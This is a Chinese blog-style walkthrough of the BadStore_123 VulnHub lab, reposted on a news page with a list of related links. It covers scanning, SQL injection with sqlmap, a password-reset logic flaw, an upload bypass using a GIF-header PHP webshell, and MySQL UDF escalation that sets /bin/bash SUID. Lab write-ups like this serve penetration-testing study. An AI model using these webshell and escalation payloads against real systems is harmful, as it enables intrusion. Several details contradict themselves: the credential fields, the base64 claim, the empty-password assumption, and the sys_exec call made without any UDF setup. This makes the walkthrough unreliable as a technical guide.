当前位置: 首页 > news >正文

VulnHub实战:BadStore_123从信息收集到权限提升全解析

1. 靶机环境搭建与基础信息收集

BadStore_123是VulnHub平台上经典的渗透测试入门靶机,运行在Ubuntu系统上,搭载了Apache 1.3.28和MySQL 4.1.7这些存在已知漏洞的老版本服务。我建议使用VirtualBox导入OVA文件,网络模式选择桥接或NAT都可以。启动后第一件事就是用nmap扫描同网段,这里有个实用技巧:先快速扫描存活主机,再针对目标做深度扫描。

# 快速扫描同网段存活主机 nmap -sn 192.168.1.0/24 # 对目标进行全端口扫描 nmap -p- -T4 -A -v 192.168.1.105

扫描结果显示开放了80端口(Apache)和3306端口(MySQL),这个组合立刻让我想到可能有SQL注入漏洞。访问web界面会发现一个典型的电商网站,有商品搜索、用户登录和注册功能。这里有个细节要注意:页面底部版权信息显示"BadStore v1.2.3",这个版本号对后续漏洞利用很关键。

2. Web应用漏洞挖掘实战

2.1 敏感信息泄露分析

使用dirb进行目录扫描时,我发现了一个关键文件/vendor_info,里面竟然明文存储了四组疑似账号密码的数据。但直接尝试登录会失败,因为这些凭证需要特定格式。通过base64解码后发现每组数据包含三部分:用户名、密码和IP地址,格式如下:

joeuser/password/platnum/192.168.100.56 kroemer/s3Cr3t/gold/10.100.100.1 janeuser/waiting4Friday/172.22.12.19 kbookout/sendmeapo/10.100.100.20

经过多次测试,发现这些其实是干扰项。真正的突破口在网站的搜索功能,当输入单引号时,页面返回了SQL错误信息,这明确存在SQL注入漏洞。

2.2 SQL注入漏洞利用

使用sqlmap进行自动化注入测试:

sqlmap -u "http://192.168.1.105/search.php?query=test" --batch --dbs

发现可获取数据库信息,但当前权限只能读取products表。这时需要换个思路,尝试在用户注册环节下手。注册时发现角色选择下拉框有"customer"和"vendor"两个选项,但无论选哪个都只能注册为普通用户。

转折点出现在密码重置功能。在未登录状态下直接访问reset.php,输入可能的admin用户名进行密码重置,竟然成功了!这说明系统存在逻辑漏洞。用重置后的密码登录admin账户后,发现了图片上传功能。

3. 权限提升与系统突破

3.1 WebShell上传技巧

虽然找到了图片上传点,但直接上传PHP文件会被拦截。我尝试了两种绕过方法:

  1. 修改Content-Type为image/jpeg
  2. 使用GIF文件头+PHP代码的混合文件
GIF89a; <?php system($_GET['cmd']); ?>

上传成功后,通过访问图片URL附加命令参数,成功执行系统命令。但当前只是www-data权限,需要进一步提权。

3.2 MySQL提权实战

根据之前扫描结果,MySQL是4.1.7版本且允许空密码root登录。连接数据库后执行:

select * from mysql.user;

发现root用户竟然没有密码!直接使用MySQL的UDF提权方法:

select sys_exec('chmod u+s /bin/bash');

然后在WebShell中执行/bin/bash -p,成功获取root权限。这个过程展示了老版本MySQL的典型安全问题。

4. 渗透测试经验总结

在BadStore_123靶机实战中,有几个关键点值得注意:首先,不要忽视任何看似无关的敏感信息,比如那个vendor_info文件虽然没有直接利用价值,但提示了系统可能存在其他凭证存储问题。其次,当遇到权限限制时,要灵活切换攻击路径,从SQL注入转到密码重置再到文件上传,这种多角度渗透思维很重要。

对于初学者,我建议在复现时重点关注三个技术点:SQL注入的多种利用方式、文件上传的绕过技巧、以及通过服务漏洞提权的完整链条。这个靶机很好地展示了渗透测试中"信息收集-漏洞发现-漏洞利用-权限提升"的标准流程。

http://www.cnnetsun.cn/news/1736973.html

相关文章:

  • SAHI切片推理实战:用YOLO做遥感图像小目标检测(含MMDetection对比)
  • 新手入门指南:利用快马生成的代码理解heic转jpg的前端实现原理
  • 别再死记硬背了!用一张图搞懂NB-IoT物理层的帧、信道与时频资源
  • Kaggle注册全攻略:从手机验证到解决401未认证错误
  • MATLAB新手也能搞定的LMS自适应滤波:从原理到代码,手把手教你滤除信号噪声
  • Wan2.2-I2V-A14B软件测试实践:模型API接口自动化测试方案
  • 突破B站4K视频下载限制:bilibili-downloader全攻略
  • MacOS下Parallel Desktop显卡驱动失效?3步搞定Parallel Tools自动安装(附PD15实测)
  • 增益调度VS自适应MPC:5个工业场景下的选型指南与避坑要点
  • Realistic Vision V5.1虚拟摄影棚效果展示:运动模糊/浅景深/高动态范围HDR
  • DeepSeek-R1-Distill-Qwen-1.5B模型剪枝技术:轻量化部署实战
  • 网络安全实践:OFA模型API服务防护策略
  • Mac NTFS读写功能完整指南:从问题排查到实战方案
  • MediaPipe人体姿态估计实战:用Python+OpenCV做个AI健身教练(附完整代码)
  • Kandinsky-5.0-I2V-Lite-5s创意作品展:从名画到动态艺术的惊艳转变
  • Godot游戏资源解包终极指南:3分钟掌握专业级资源提取技巧
  • 单页应用如何处理动态内容对SEO的影响
  • Docker容器共享内存不足?3种实战解决方案对比(含K8s适配)
  • C/C++文件操作神器:freopen()函数实战指南(含路径避坑技巧)
  • 记一次千万级订单表分页查询优化:
  • win11 中文家庭版-无法下载更新-说是系统大补丁没有完全导致的-需要等到大补丁到了才可以下载更新
  • 从“僵尸节点”到优雅休眠:深入理解AUTOSAR NM中T_NM_Timeout的协同设计
  • Mac Mouse Fix:让10美元鼠标超越苹果触控板的终极解决方案
  • BUUCTF SQL注入通关秘籍:如何快速定位并利用fl4g表获取flag
  • 保姆级教程:在ZYNQ Ultrascale+ MPSOC上配置PS端DP显示(Vitis 2023.1实测)
  • 39_从工程角度分析:0_钢铁侠战甲的制造可行性
  • 树莓派/软路由必备:让frpc在OpenWrt或Debian系统开机自启的两种方法
  • 探索NomNom:定制《无人深空》游戏体验的全流程指南
  • MySQL实战:主键与外键的5个常见设计误区及优化方案
  • 如何用Listen1实现跨平台音乐播放?告别多平台切换的终极解决方案